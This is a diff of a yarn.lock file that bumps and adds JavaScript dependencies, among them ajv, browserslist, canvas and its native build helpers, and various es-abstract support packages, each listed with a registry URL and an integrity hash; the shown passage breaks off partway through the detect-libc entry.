@@ -3323,7 +3378,7 @@ ajv-keywords@^3.5.2:
   resolved "https://registry.yarnpkg.com/ajv-keywords/-/ajv-keywords-3.5.2.tgz#31f29da5ab6e00d1c2d329acf7b5929614d5014d"
   integrity sha512-5p6WTN0DdTGVQk6VjcEju19IgaHudalcfabD7yhDGeA6bcQnmL+CpveLJq/3hvfwd1aof6L386Ougkx6RfyMIQ==
 
-ajv-keywords@^5.0.0:
+ajv-keywords@^5.1.0:
   version "5.1.0"
   resolved "https://registry.yarnpkg.com/ajv-keywords/-/ajv-keywords-5.1.0.tgz#69d4d385a4733cdbeab44964a1170a88f87f0e16"
   integrity sha512-YCS/JNFAUyr5vAuhk1DWm1CBxRHW9LbJ2ozWeemrIqpbsqKjHVxYPyi5GC0rjZIT5JxJ3virVTS8wk4i/Z+krw==
@@ -3340,7 +3395,7 @@ ajv@^6.12.2, ajv@^6.12.4, ajv@^6.12.5:
     json-schema-traverse "^0.4.1"
     uri-js "^4.2.2"
 
-ajv@^8.0.0, ajv@^8.8.0:
+ajv@^8.0.0:
   version "8.11.0"
   resolved "https://registry.yarnpkg.com/ajv/-/ajv-8.11.0.tgz#977e91dd96ca669f54a11e23e378e33b884a565f"
   integrity sha512-wGgprdCvMalC0BztXvitD2hC04YffAvtsUn93JbGXYLAtCUO4xd17mCCZQxUOItiBwZvJScWo8NIvQMQ71rdpg==
@@ -3350,6 +3405,16 @@ ajv@^8.0.0, ajv@^8.8.0:
     require-from-string "^2.0.2"
     uri-js "^4.2.2"
 
+ajv@^8.9.0:
+  version "8.16.0"
+  resolved "https://registry.yarnpkg.com/ajv/-/ajv-8.16.0.tgz#22e2a92b94f005f7e0f9c9d39652ef0b8f6f0cb4"
+  integrity sha512-F0twR8U1ZU67JIEtekUcLkXkoO5mMMmgGD8sK/xUFzJ805jxHQl92hImFAqqXMyMYjSPOyUPAwHYhB72g5sTXw==
+  dependencies:
+    fast-deep-equal "^3.1.3"
+    json-schema-traverse "^1.0.0"
+    require-from-string "^2.0.2"
+    uri-js "^4.4.1"
+
 ansi-escapes@^4.2.1:
   version "4.2.1"
   resolved "https://registry.yarnpkg.com/ansi-escapes/-/ansi-escapes-4.2.1.tgz#4dccdb846c3eee10f6d64dea66273eab90c37228"
@@ -3363,19 +3428,15 @@ ansi-escapes@^4.3.1:
   dependencies:
     type-fest "^0.11.0"
 
-ansi-html-community@0.0.8, ansi-html-community@^0.0.8:
+ansi-html-community@0.0.8:
   version "0.0.8"
   resolved "https://registry.yarnpkg.com/ansi-html-community/-/ansi-html-community-0.0.8.tgz#69fbc4d6ccbe383f9736934ae34c3f8290f1bf41"
   integrity sha512-1APHAyr3+PCamwNw3bXCPp4HFLONZt/yIH0sZp0/469KWNTEy+qN5jQ3GVX6DMZ1UXAi34yVwtTeaG/HpBuuzw==
 
-ansi-regex@^4.1.0:
-  version "4.1.0"
-  resolved "https://registry.yarnpkg.com/ansi-regex/-/ansi-regex-4.1.0.tgz#8b9f8f08cf1acb843756a839ca8c7e3168c51997"
-
-ansi-regex@^5.0.0:
-  version "5.0.0"
-  resolved "https://registry.yarnpkg.com/ansi-regex/-/ansi-regex-5.0.0.tgz#388539f55179bf39339c81af30a654d69f87cb75"
-  integrity sha512-bY6fj56OUQ0hU1KjFNDQuJFezqKdrAyFdIevADiqrWHwSlbmBNMHp5ak2f40Pm8JTFyM2mqxkG6ngkHO11f/lg==
+ansi-html@^0.0.9:
+  version "0.0.9"
+  resolved "https://registry.yarnpkg.com/ansi-html/-/ansi-html-0.0.9.tgz#6512d02342ae2cc68131952644a129cb734cd3f0"
+  integrity sha512-ozbS3LuenHVxNRh/wdnN16QapUHzauqSomAl1jwwJRRsGwFwtj644lIhxfWu0Fy0acCij2+AEgHvjscq3dlVXg==
 
 ansi-regex@^5.0.1:
   version "5.0.1"
@@ -3405,6 +3466,16 @@ ansi-styles@^5.0.0:
   resolved "https://registry.yarnpkg.com/ansi-styles/-/ansi-styles-5.2.0.tgz#07449690ad45777d1924ac2abb2fc8895dba836b"
   integrity sha512-Cxwpt2SfTzTtXcfOlzGEee8O+c+MmUgGrNiBcXnuWxuFJHe6a5Hz7qwhwe5OgaSYI0IJvkLqWX1ASG+cJOkEiA==
 
+ansi-styles@^6.1.0:
+  version "6.2.1"
+  resolved "https://registry.yarnpkg.com/ansi-styles/-/ansi-styles-6.2.1.tgz#0e62320cf99c21afff3b3012192546aacbfb05c5"
+  integrity sha512-bN798gFfQX+viw3R7yrGWRqnrN2oRkEkUjjl4JNn4E8GxxbjtG3FbrEIIY3l8/hrwUwIeCZvi4QuOTP4MErVug==
+
+any-promise@^1.0.0:
+  version "1.3.0"
+  resolved "https://registry.yarnpkg.com/any-promise/-/any-promise-1.3.0.tgz#abc6afeedcea52e809cdc0376aed3ce39635d17f"
+  integrity sha512-7UvmKalWRt1wgjL1RrGxoSJW/0QZFIegpeGvZG9kjp8vrRu55XTHbwnqq2GpXm9uLbcuhxm3IqX9OB4MZR1b2A==
+
 anymatch@^3.0.3:
   version "3.1.1"
   resolved "https://registry.yarnpkg.com/anymatch/-/anymatch-3.1.1.tgz#c55ecf02185e2469259399310c173ce31233b142"
@@ -3437,11 +3508,46 @@ aria-query@^5.0.0:
   resolved "https://registry.yarnpkg.com/aria-query/-/aria-query-5.0.0.tgz#210c21aaf469613ee8c9a62c7f86525e058db52c"
   integrity sha512-V+SM7AbUwJ+EBnB8+DXs0hPZHO0W6pqBcc0dW90OwtVG02PswOu/teuARoLQjdDOH+t9pJgGnW5/Qmouf3gPJg==
 
+array-buffer-byte-length@^1.0.1:
+  version "1.0.1"
+  resolved "https://registry.yarnpkg.com/array-buffer-byte-length/-/array-buffer-byte-length-1.0.1.tgz#1e5583ec16763540a27ae52eed99ff899223568f"
+  integrity sha512-ahC5W1xgou+KTXix4sAO8Ki12Q+jf4i0+tmk3sC+zgcynshkHxzpXdImBehiUYKKKDwvfFiJl1tZt6ewscS1Mg==
+  dependencies:
+    call-bind "^1.0.5"
+    is-array-buffer "^3.0.4"
+
 array-union@^2.1.0:
   version "2.1.0"
   resolved "https://registry.yarnpkg.com/array-union/-/array-union-2.1.0.tgz#b798420adbeb1de828d84acd8a2e23d3efe85e8d"
   integrity sha512-HGyxoOTYUyCM6stUe6EJgnd4EoewAI7zMdfqO+kGjnlZmBDz/cR5pf8r/cR4Wq60sL/p0IkcjUEEPwS3GFrIyw==
 
+array.prototype.reduce@^1.0.6:
+  version "1.0.7"
+  resolved "https://registry.yarnpkg.com/array.prototype.reduce/-/array.prototype.reduce-1.0.7.tgz#6aadc2f995af29cb887eb866d981dc85ab6f7dc7"
+  integrity sha512-mzmiUCVwtiD4lgxYP8g7IYy8El8p2CSMePvIbTS7gchKir/L1fgJrk0yDKmAX6mnRQFKNADYIk8nNlTris5H1Q==
+  dependencies:
+    call-bind "^1.0.7"
+    define-properties "^1.2.1"
+    es-abstract "^1.23.2"
+    es-array-method-boxes-properly "^1.0.0"
+    es-errors "^1.3.0"
+    es-object-atoms "^1.0.0"
+    is-string "^1.0.7"
+
+arraybuffer.prototype.slice@^1.0.3:
+  version "1.0.3"
+  resolved "https://registry.yarnpkg.com/arraybuffer.prototype.slice/-/arraybuffer.prototype.slice-1.0.3.tgz#097972f4255e41bc3425e37dc3f6421cf9aefde6"
+  integrity sha512-bMxMKAjg13EBSVscxTaYA4mRc5t1UAXa2kXiGTNfZ079HIWXEkKmkgFrh/nJqamaLSrXO5H4WFFkPEaLJWbs3A==
+  dependencies:
+    array-buffer-byte-length "^1.0.1"
+    call-bind "^1.0.5"
+    define-properties "^1.2.1"
+    es-abstract "^1.22.3"
+    es-errors "^1.2.1"
+    get-intrinsic "^1.2.3"
+    is-array-buffer "^3.0.4"
+    is-shared-array-buffer "^1.0.2"
+
 asynckit@^0.4.0:
   version "0.4.0"
   resolved "https://registry.yarnpkg.com/asynckit/-/asynckit-0.4.0.tgz#c79ed97f7f34cb8f2ba1bc9790bcc366474b4b79"
@@ -3463,6 +3569,13 @@ autoprefixer@^10.4.8:
     picocolors "^1.0.0"
     postcss-value-parser "^4.2.0"
 
+available-typed-arrays@^1.0.7:
+  version "1.0.7"
+  resolved "https://registry.yarnpkg.com/available-typed-arrays/-/available-typed-arrays-1.0.7.tgz#a5cc375d6a03c2efc87a553f3e0b1522def14846"
+  integrity sha512-wvUjBtSGN7+7SjNpq/9M2Tg350UZD3q62IFZLbRAR1bSMlCo1ZaeW+BJ+D090e4hIIZLBcTDWe4Mh4jvUDajzQ==
+  dependencies:
+    possible-typed-array-names "^1.0.0"
+
 babel-jest@^27.4.2, babel-jest@^27.5.1:
   version "27.5.1"
   resolved "https://registry.yarnpkg.com/babel-jest/-/babel-jest-27.5.1.tgz#a1bf8d61928edfefd21da27eb86a695bfd691444"
@@ -3634,6 +3747,11 @@ balanced-match@^1.0.0:
   version "1.0.0"
   resolved "https://registry.yarnpkg.com/balanced-match/-/balanced-match-1.0.0.tgz#89b4d199ab2bee49de164ea02b89ce462d71b767"
 
+base64-js@^1.3.1:
+  version "1.5.1"
+  resolved "https://registry.yarnpkg.com/base64-js/-/base64-js-1.5.1.tgz#1b1b440160a5bf7ad40b650f095963481903930a"
+  integrity sha512-AKpaYlHn8t4SVbOHCy+b5+KKgvR4vrsD8vbvrbiQJps7fKDTkjkDry6ji0rUJjC0kzbNePLwzxq8iypo41qeWA==
+
 big.js@^5.2.2:
   version "5.2.2"
   resolved "https://registry.yarnpkg.com/big.js/-/big.js-5.2.2.tgz#65f0af382f578bcdc742bd9c281e9cb2d7768328"
@@ -3644,6 +3762,15 @@ binary-extensions@^2.0.0:
   resolved "https://registry.yarnpkg.com/binary-extensions/-/binary-extensions-2.1.0.tgz#30fa40c9e7fe07dbc895678cd287024dea241dd9"
   integrity sha512-1Yj8h9Q+QDF5FzhMs/c9+6UntbD5MkRfRwac8DoEm9ZfUBZ7tZ55YcGVAzEe4bXsdQHEk+s9S5wsOKVdZrw0tQ==
 
+bl@^4.0.3:
+  version "4.1.0"
+  resolved "https://registry.yarnpkg.com/bl/-/bl-4.1.0.tgz#451535264182bec2fbbc83a62ab98cf11d9f7b3a"
+  integrity sha512-1W07cM9gS6DcLperZfFSj+bWLtaPGSOHWhPiGzXmvVJbRLdG82sH/Kn8EtW1VqWVA54AKf2h5k5BbnIbwF3h6w==
+  dependencies:
+    buffer "^5.5.0"
+    inherits "^2.0.4"
+    readable-stream "^3.4.0"
+
 body-parser@^1.20.1:
   version "1.20.1"
   resolved "https://registry.yarnpkg.com/body-parser/-/body-parser-1.20.1.tgz#b1812a8912c195cd371a3ee5e66faa2338a5c668"
@@ -3673,7 +3800,14 @@ brace-expansion@^1.1.7:
     balanced-match "^1.0.0"
     concat-map "0.0.1"
 
-braces@^3.0.2, braces@~3.0.2:
+brace-expansion@^2.0.1:
+  version "2.0.1"
+  resolved "https://registry.yarnpkg.com/brace-expansion/-/brace-expansion-2.0.1.tgz#1edc459e0f0c548486ecf9fc99f2221364b9a0ae"
+  integrity sha512-XnAIvQ8eM+kC6aULx6wuQiwVsnzsi9d3WxzV3FpWTGA19F621kwdbsAcFKXgKUHZWsy+mY6iL1sHTxWEFCytDA==
+  dependencies:
+    balanced-match "^1.0.0"
+
+braces@^3.0.2, braces@^3.0.3, braces@~3.0.2:
   version "3.0.3"
   resolved "https://registry.yarnpkg.com/braces/-/braces-3.0.3.tgz#490332f40919452272d55a8480adc0c441358789"
   integrity sha512-yQbXgO/OSZVD2IsiLlro+7Hf6Q18EJrKSEsdoMzKePKXct3gvD8oLcOQdIzGupr5Fj+EDe8gO/lxc1BzfMpxvA==
@@ -3693,17 +3827,6 @@ browserslist@^4.0.0:
     electron-to-chromium "^1.3.73"
     node-releases "^1.0.0-alpha.12"
 
-browserslist@^4.14.5:
-  version "4.15.0"
-  resolved "https://registry.yarnpkg.com/browserslist/-/browserslist-4.15.0.tgz#3d48bbca6a3f378e86102ffd017d9a03f122bdb0"
-  integrity sha512-IJ1iysdMkGmjjYeRlDU8PQejVwxvVO5QOfXH7ylW31GO6LwNRSmm/SgRXtNsEXqMLl2e+2H5eEJ7sfynF8TCaQ==
-  dependencies:
-    caniuse-lite "^1.0.30001164"
-    colorette "^1.2.1"
-    electron-to-chromium "^1.3.612"
-    escalade "^3.1.1"
-    node-releases "^1.1.67"
-
 browserslist@^4.16.6, browserslist@^4.18.1, browserslist@^4.20.2, browserslist@^4.20.3, browserslist@^4.21.3:
   version "4.21.3"
   resolved "https://registry.yarnpkg.com/browserslist/-/browserslist-4.21.3.tgz#5df277694eb3c48bc5c4b05af3e8b7e09c5a6d1a"
@@ -3714,6 +3837,16 @@ browserslist@^4.16.6, browserslist@^4.18.1, browserslist@^4.20.2, browserslist@^
     node-releases "^2.0.6"
     update-browserslist-db "^1.0.5"
 
+browserslist@^4.21.10, browserslist@^4.21.4:
+  version "4.23.3"
+  resolved "https://registry.yarnpkg.com/browserslist/-/browserslist-4.23.3.tgz#debb029d3c93ebc97ffbc8d9cbb03403e227c800"
+  integrity sha512-btwCFJVjI4YWDNfau8RhZ+B1Q/VLoUITrm3RlP6y1tYGWIOa+InuYiRGXUBXo8nA1qKmHMyLB/iVQg5TT4eFoA==
+  dependencies:
+    caniuse-lite "^1.0.30001646"
+    electron-to-chromium "^1.5.4"
+    node-releases "^2.0.18"
+    update-browserslist-db "^1.1.0"
+
 browserslist@^4.21.5:
   version "4.21.9"
   resolved "https://registry.yarnpkg.com/browserslist/-/browserslist-4.21.9.tgz#e11bdd3c313d7e2a9e87e8b4b0c7872b13897635"
@@ -3734,6 +3867,14 @@ buffer-from@^1.0.0:
   version "1.1.1"
   resolved "https://registry.yarnpkg.com/buffer-from/-/buffer-from-1.1.1.tgz#32713bc028f75c02fdb710d7c7bcec1f2c6070ef"
 
+buffer@^5.5.0:
+  version "5.7.1"
+  resolved "https://registry.yarnpkg.com/buffer/-/buffer-5.7.1.tgz#ba62e7c13133053582197160851a8f648e99eed0"
+  integrity sha512-EHcyIPBQ4BSGlvjB16k5KgAJ27CIsHY/2JBmCRReo48y9rQ3MaUzWX3KVlBa4U7MyX02HdVj0K7C3WaB3ju7FQ==
+  dependencies:
+    base64-js "^1.3.1"
+    ieee754 "^1.1.13"
+
 busboy@^1.6.0:
   version "1.6.0"
   resolved "https://registry.yarnpkg.com/busboy/-/busboy-1.6.0.tgz#966ea36a9502e43cdb9146962523b92f531f6893"
@@ -3759,6 +3900,17 @@ call-bind@^1.0.0:
     function-bind "^1.1.1"
     get-intrinsic "^1.0.0"
 
+call-bind@^1.0.2, call-bind@^1.0.5, call-bind@^1.0.6, call-bind@^1.0.7:
+  version "1.0.7"
+  resolved "https://registry.yarnpkg.com/call-bind/-/call-bind-1.0.7.tgz#06016599c40c56498c18769d2730be242b6fa3b9"
+  integrity sha512-GHTSNSYICQ7scH7sZ+M2rFopRoLh8t2bLSW6BbgrtLsahOIB5iyAVJf9GjWK3cYTDaMj4XdBpM1cA6pIS0Kv2w==
+  dependencies:
+    es-define-property "^1.0.0"
+    es-errors "^1.3.0"
+    function-bind "^1.1.2"
+    get-intrinsic "^1.2.4"
+    set-function-length "^1.2.1"
+
 callsites@^3.0.0:
   version "3.1.0"
   resolved "https://registry.yarnpkg.com/callsites/-/callsites-3.1.0.tgz#b3630abd8943432f54b3f0519238e33cd7df2f73"
@@ -3800,15 +3952,18 @@ caniuse-api@^3.0.0:
     lodash.memoize "^4.1.2"
     lodash.uniq "^4.5.0"
 
-caniuse-lite@^1.0.0, caniuse-lite@^1.0.30000888, caniuse-lite@^1.0.30001164, caniuse-lite@^1.0.30001370, caniuse-lite@^1.0.30001373:
-  version "1.0.30001457"
-  resolved "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001457.tgz"
-  integrity sha512-SDIV6bgE1aVbK6XyxdURbUE89zY7+k1BBBaOwYwkNCglXlel/E7mELiHC64HQ+W0xSKlqWhV9Wh7iHxUjMs4fA==
+caniuse-lite@^1.0.0, caniuse-lite@^1.0.30000888, caniuse-lite@^1.0.30001370, caniuse-lite@^1.0.30001373, caniuse-lite@^1.0.30001503, caniuse-lite@^1.0.30001646:
+  version "1.0.30001713"
+  resolved "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001713.tgz"
+  integrity sha512-wCIWIg+A4Xr7NfhTuHdX+/FKh3+Op3LBbSp2N5Pfx6T/LhdQy3GTyoTg48BReaW/MyMNZAkTadsBtai3ldWK0Q==
 
-caniuse-lite@^1.0.30001503:
-  version "1.0.30001505"
-  resolved "https://registry.yarnpkg.com/caniuse-lite/-/caniuse-lite-1.0.30001505.tgz#10a343e49d31cbbfdae298ef73cb0a9f46670dc5"
-  integrity sha512-jaAOR5zVtxHfL0NjZyflVTtXm3D3J9P15zSJ7HmQF8dSKGA6tqzQq+0ZI3xkjyQj46I4/M0K2GbMpcAFOcbr3A==
+canvas@^3.1.0:
+  version "3.1.0"
+  resolved "https://registry.yarnpkg.com/canvas/-/canvas-3.1.0.tgz#6cdf094b859fef8e39b0e2c386728a376f1727b2"
+  integrity sha512-tTj3CqqukVJ9NgSahykNwtGda7V33VLObwrHfzT0vqJXu7J4d4C/7kQQW3fOEGDfZZoILPut5H00gOjyttPGyg==
+  dependencies:
+    node-addon-api "^7.0.0"
+    prebuild-install "^7.1.1"
 
 case-sensitive-paths-webpack-plugin@^2.4.0:
   version "2.4.0"
@@ -3872,6 +4027,11 @@ chokidar@^3.4.2, chokidar@^3.5.2, chokidar@^3.5.3:
   optionalDependencies:
     fsevents "~2.3.2"
 
+chownr@^1.1.1:
+  version "1.1.4"
+  resolved "https://registry.yarnpkg.com/chownr/-/chownr-1.1.4.tgz#6fc9d7b42d32a583596337666e7d08084da2cc6b"
+  integrity sha512-jJ0bqzaylmJtVnNgzTeSOs8DPavpbYgEr/b0YL8/2GO3xJEhInFmhKMUnEJQjZumK7KXGFhUy89PrsJWlakBVg==
+
 chrome-trace-event@^1.0.2:
   version "1.0.2"
   resolved "https://registry.yarnpkg.com/chrome-trace-event/-/chrome-trace-event-1.0.2.tgz#234090ee97c7d4ad1a2c4beae27505deffc608a4"
@@ -3904,6 +4064,15 @@ cliui@^7.0.2:
     strip-ansi "^6.0.0"
     wrap-ansi "^7.0.0"
 
+cliui@^8.0.1:
+  version "8.0.1"
+  resolved "https://registry.yarnpkg.com/cliui/-/cliui-8.0.1.tgz#0c04b075db02cbfe60dc8e6cf2f5486b1a3608aa"
+  integrity sha512-BSeNnyus75C4//NQ9gQt1/csTXyo/8Sb+afLAkzAptFuMsod9HFokGNudZpi/oQV73hnVK+sR+5PVRMd+Dr7YQ==
+  dependencies:
+    string-width "^4.2.0"
+    strip-ansi "^6.0.1"
+    wrap-ansi "^7.0.0"
+
 co@^4.6.0:
   version "4.6.0"
   resolved "https://registry.yarnpkg.com/co/-/co-4.6.0.tgz#6ea6bdf3d853ae54ccb8e47bfa0bf3f9031fb184"
@@ -3938,7 +4107,7 @@ color-name@1.1.3:
   version "1.1.3"
   resolved "https://registry.yarnpkg.com/color-name/-/color-name-1.1.3.tgz#a7d0558bd89c42f795dd42328f740831ca53bc25"
 
-color-name@^1.1.4, color-name@~1.1.4:
+color-name@~1.1.4:
   version "1.1.4"
   resolved "https://registry.yarnpkg.com/color-name/-/color-name-1.1.4.tgz#c2a09a87acbde69543de6f63fa3995c826c536a2"
 
@@ -3947,11 +4116,6 @@ colord@^2.9.1:
   resolved "https://registry.yarnpkg.com/colord/-/colord-2.9.3.tgz#4f8ce919de456f1d5c1c368c307fe20f3e59fb43"
   integrity sha512-jeC1axXpnb0/2nn/Y1LPuLdgXBLH7aDcHu4KEKfqw3CUhX7ZpfBSlPKyqXE6btIgEzfWtrX3/tyBCaCvXvMkOw==
 
-colorette@^1.2.1:
-  version "1.2.1"
-  resolved "https://registry.yarnpkg.com/colorette/-/colorette-1.2.1.tgz#4d0b921325c14faf92633086a536db6e89564b1b"
-  integrity sha512-puCDz0CzydiSYOrnXpz/PKd69zRrribezjtE9yd4zvytoRc8+RY/KJPvtPFKZS3E3wP6neGyMe0vOTlHO5L3Pw==
-
 colorette@^2.0.10:
   version "2.0.19"
   resolved "https://registry.yarnpkg.com/colorette/-/colorette-2.0.19.tgz#cdf044f47ad41a0f4b56b3a0d5b4e6e1a2d5a798"
@@ -3968,6 +4132,11 @@ commander@^2.20.0:
   version "2.20.3"
   resolved "https://registry.yarnpkg.com/commander/-/commander-2.20.3.tgz#fd485e84c03eb4881c20722ba48035e8531aeb33"
 
+commander@^4.0.0:
+  version "4.1.1"
+  resolved "https://registry.yarnpkg.com/commander/-/commander-4.1.1.tgz#9fd602bd936294e9e9ef46a3f4d6964044b18068"
+  integrity sha512-NOKm8xhkzAjzFx8B2v5OAHT+u5pRQc2UCa2Vq9jYL/31o2wi9mxBA7LIFs3sV5VSC49z6pEhfbMULvShKj26WA==
+
 commander@^7.2.0:
   version "7.2.0"
   resolved "https://registry.yarnpkg.com/commander/-/commander-7.2.0.tgz#a36cb57d0b501ce108e4d20559a150a391d97ab7"
@@ -3978,11 +4147,6 @@ commander@^8.3.0:
   resolved "https://registry.yarnpkg.com/commander/-/commander-8.3.0.tgz#4837ea1b2da67b9c616a67afbb0fafee567bca66"
   integrity sha512-OkTL9umf+He2DZkUq8f8J9of7yL6RJKI24dVITBmNfZBmri9zYZQrKkuXiKhyfPSu8tUhnVBB1iKXevvnlR4Ww==
 
-common-path-prefix@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.yarnpkg.com/common-path-prefix/-/common-path-prefix-3.0.0.tgz#7d007a7e07c58c4b4d5f433131a19141b29f11e0"
-  integrity sha512-QE33hToZseCH3jS0qN96O/bSh3kaw/h+Tq7ngyY9eWDUnTlTNUyqfqvCXioLe5Na5jFsL78ra/wuBU4iuEgd4w==
-
 commondir@^1.0.1:
   version "1.0.1"
   resolved "https://registry.yarnpkg.com/commondir/-/commondir-1.0.1.tgz#ddd800da0c66127393cca5950ea968a3aaf1253b"
@@ -4057,10 +4221,10 @@ core-js-compat@^3.30.1, core-js-compat@^3.30.2:
   dependencies:
     browserslist "^4.21.5"
 
-core-js-pure@^3.8.1:
-  version "3.36.0"
-  resolved "https://registry.yarnpkg.com/core-js-pure/-/core-js-pure-3.36.0.tgz#ffb34330b14e594d6a9835cf5843b4123f1d95db"
-  integrity sha512-cN28qmhRNgbMZZMc/RFu5w8pK9VJzpb2rJVR/lHuZJKwmXnoWOpXmMkxqBB514igkp1Hu8WGROsiOAzUcKdHOQ==
+core-js-pure@^3.23.3:
+  version "3.37.1"
+  resolved "https://registry.yarnpkg.com/core-js-pure/-/core-js-pure-3.37.1.tgz#2b4b34281f54db06c9a9a5bd60105046900553bd"
+  integrity sha512-J/r5JTHSmzTxbiYYrzXg9w1VpqrYt+gexenBE9pugeyhwPZTAEJddyiReJWsLO6uNQ8xJZFbod6XC7KKwatCiA==
 
 cosmiconfig@^6.0.0:
   version "6.0.0"
@@ -4084,7 +4248,7 @@ cosmiconfig@^7.0.0:
     path-type "^4.0.0"
     yaml "^1.10.0"
 
-cross-spawn@^7.0.3:
+cross-spawn@^7.0.0, cross-spawn@^7.0.3:
   version "7.0.3"
   resolved "https://registry.yarnpkg.com/cross-spawn/-/cross-spawn-7.0.3.tgz#f73a85b9d5d41d045551c177e2882d4ac85728a6"
   integrity sha512-iRDPJKUPVEND7dHPO8rkbOnPpyDygcDFtWjpeWNCgy8WP2rXcxXL8TskReQl6OrB2G7+UJrags1q15Fudc7G6w==
@@ -4299,6 +4463,33 @@ data-urls@^2.0.0:
     whatwg-mimetype "^2.3.0"
     whatwg-url "^8.0.0"
 
+data-view-buffer@^1.0.1:
+  version "1.0.1"
+  resolved "https://registry.yarnpkg.com/data-view-buffer/-/data-view-buffer-1.0.1.tgz#8ea6326efec17a2e42620696e671d7d5a8bc66b2"
+  integrity sha512-0lht7OugA5x3iJLOWFhWK/5ehONdprk0ISXqVFn/NFrDu+cuc8iADFrGQz5BnRK7LLU3JmkbXSxaqX+/mXYtUA==
+  dependencies:
+    call-bind "^1.0.6"
+    es-errors "^1.3.0"
+    is-data-view "^1.0.1"
+
+data-view-byte-length@^1.0.1:
+  version "1.0.1"
+  resolved "https://registry.yarnpkg.com/data-view-byte-length/-/data-view-byte-length-1.0.1.tgz#90721ca95ff280677eb793749fce1011347669e2"
+  integrity sha512-4J7wRJD3ABAzr8wP+OcIcqq2dlUKp4DVflx++hs5h5ZKydWMI6/D/fAot+yh6g2tHh8fLFTvNOaVN357NvSrOQ==
+  dependencies:
+    call-bind "^1.0.7"
+    es-errors "^1.3.0"
+    is-data-view "^1.0.1"
+
+data-view-byte-offset@^1.0.0:
+  version "1.0.0"
+  resolved "https://registry.yarnpkg.com/data-view-byte-offset/-/data-view-byte-offset-1.0.0.tgz#5e0bbfb4828ed2d1b9b400cd8a7d119bca0ff18a"
+  integrity sha512-t/Ygsytq+R995EJ5PZlD4Cu56sWa8InXySaViRzw9apusqsOO2bQP+SbYzAhR0pFKoB+43lYy8rWban9JSuXnA==
+  dependencies:
+    call-bind "^1.0.6"
+    es-errors "^1.3.0"
+    is-data-view "^1.0.1"
+
 date-fns@^2.16.1:
   version "2.29.1"
   resolved "https://registry.yarnpkg.com/date-fns/-/date-fns-2.29.1.tgz#9667c2615525e552b5135a3116b95b1961456e60"
@@ -4335,11 +4526,23 @@ decimal.js@^10.2.1:
   resolved "https://registry.yarnpkg.com/decimal.js/-/decimal.js-10.4.0.tgz#97a7448873b01e92e5ff9117d89a7bca8e63e0fe"
   integrity sha512-Nv6ENEzyPQ6AItkGwLE2PGKinZZ9g59vSh2BeH6NqPu0OTKZ5ruJsVqh/orbAnqXc9pBbgXAIrc2EyaCj8NpGg==
 
+decompress-response@^6.0.0:
+  version "6.0.0"
+  resolved "https://registry.yarnpkg.com/decompress-response/-/decompress-response-6.0.0.tgz#ca387612ddb7e104bd16d85aab00d5ecf09c66fc"
+  integrity sha512-aW35yZM6Bb/4oJlZncMH2LCoZtJXTRxES17vE3hoRiowU2kWHaJKFkSBDnDR+cm9J+9QhXmREyIfv0pji9ejCQ==
+  dependencies:
+    mimic-response "^3.1.0"
+
 dedent@^0.7.0:
   version "0.7.0"
   resolved "https://registry.yarnpkg.com/dedent/-/dedent-0.7.0.tgz#2495ddbaf6eb874abb0e1be9df22d2e5a544326c"
   integrity sha1-JJXduvbrh0q7Dhvp3yLS5aVEMmw=
 
+deep-extend@^0.6.0:
+  version "0.6.0"
+  resolved "https://registry.yarnpkg.com/deep-extend/-/deep-extend-0.6.0.tgz#c4fa7c95404a17a9c3e8ca7e1537312b736330ac"
+  integrity sha512-LOHxIOaPYdHlJRtCQfDIVZtfw/ufM8+rVj649RIHzcm/vGwQRXFt6OPqIFWsm2XEMrNIEtWR64sY1LEKD2vAOA==
+
 deep-is@~0.1.3:
   version "0.1.3"
   resolved "https://registry.yarnpkg.com/deep-is/-/deep-is-0.1.3.tgz#b369d6fb5dbc13eecf524f91b070feedc357cf34"
@@ -4350,6 +4553,15 @@ deepmerge@^4.2.2:
   resolved "https://registry.yarnpkg.com/deepmerge/-/deepmerge-4.2.2.tgz#44d2ea3679b8f4d4ffba33f03d865fc1e7bf4955"
   integrity sha512-FJ3UgI4gIl+PHZm53knsuSFpE+nESMr7M4v9QcgB7S63Kj/6WqMiFQJpBBYz1Pt+66bZpP3Q7Lye0Oo9MPKEdg==
 
+define-data-property@^1.0.1, define-data-property@^1.1.4:
+  version "1.1.4"
+  resolved "https://registry.yarnpkg.com/define-data-property/-/define-data-property-1.1.4.tgz#894dc141bb7d3060ae4366f6a0107e68fbe48c5e"
+  integrity sha512-rBMvIzlpA8v6E+SJZoo++HAYqsLrkg7MSfIinMPFhmkorw7X+dOXVJQs+QT69zGkzMyfDnIMN2Wid1+NbL3T+A==
+  dependencies:
+    es-define-property "^1.0.0"
+    es-errors "^1.3.0"
+    gopd "^1.0.1"
+
 define-lazy-prop@^2.0.0:
   version "2.0.0"
   resolved "https://registry.yarnpkg.com/define-lazy-prop/-/define-lazy-prop-2.0.0.tgz#3f7ae421129bcaaac9bc74905c98a0009ec9ee7f"
@@ -4361,10 +4573,14 @@ define-properties@^1.1.2, define-properties@^1.1.3:
   dependencies:
     object-keys "^1.0.12"
 
-defined@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/defined/-/defined-1.0.0.tgz#c98d9bcef75674188e110969151199e39b1fa693"
-  integrity sha512-Y2caI5+ZwS5c3RiNDJ6u53VhQHv+hHKwhkI1iHvceKUHw9Df6EK2zRLfjejRgMuCuxK7PfSWIMwWecceVvThjQ==
+define-properties@^1.2.0, define-properties@^1.2.1:
+  version "1.2.1"
+  resolved "https://registry.yarnpkg.com/define-properties/-/define-properties-1.2.1.tgz#10781cc616eb951a80a034bafcaa7377f6af2b6c"
+  integrity sha512-8QmQKqEASLd5nx0U1B1okLElbUuuttJ/AnYmRXbbbGDWh6uS208EjD4Xqq/I9wK7u0v6O08XhTWnt5XtEbR6Dg==
+  dependencies:
+    define-data-property "^1.0.1"
+    has-property-descriptors "^1.0.0"
+    object-keys "^1.1.1"
 
 delayed-stream@~1.0.0:
   version "1.0.0"
@@ -4380,6 +4596,11 @@ destroy@1.2.0:
   resolved "https://registry.yarnpkg.com/destroy/-/destroy-1.2.0.tgz#4803735509ad8be552934c67df614f94e66fa015"
   integrity sha512-2sJGJTaXIIaR1w4iJSNoN0hnMY7Gpc/n8D4qSCJw8QqFWXf7cuAgnEHxBpweaVcPevC2l3KpjYCx3NypQQgaJg==
 
+detect-libc@^2.0.0:
+  version "2.0.3"
